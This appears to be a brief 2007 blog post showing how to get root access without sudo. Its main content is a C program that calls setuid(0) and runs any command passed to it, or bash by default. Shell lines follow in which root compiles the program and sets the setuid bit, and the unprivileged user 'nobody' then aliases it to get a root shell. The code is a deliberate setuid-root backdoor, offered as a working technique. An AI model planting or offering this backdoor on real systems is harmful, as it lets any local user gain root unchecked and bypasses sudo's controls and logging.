getting root acccess without sudo

Dec 29
2007
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "sys/types.h"
#include "unistd.h"
#include "stdlib.h"
#include "stdio.h"
 
int main(int argc, char** argv)
{
    int root_id = 0;
    char *command = argv[1];
 
    if(!command)
        command = "/bin/bash";
 
    setuid(root_id);
    system(command);
    exit(0);
}

root# gcc -o temproot temproot.c
root# chmod +s temproot
nobody$ alias root=’temproot “su – root”’
nobody$ root

Comments are closed.

Calendar

December 2007
M T W T F S S
« Nov   Jan »
 12
3456789
10111213141516
17181920212223
24252627282930
31  

Tags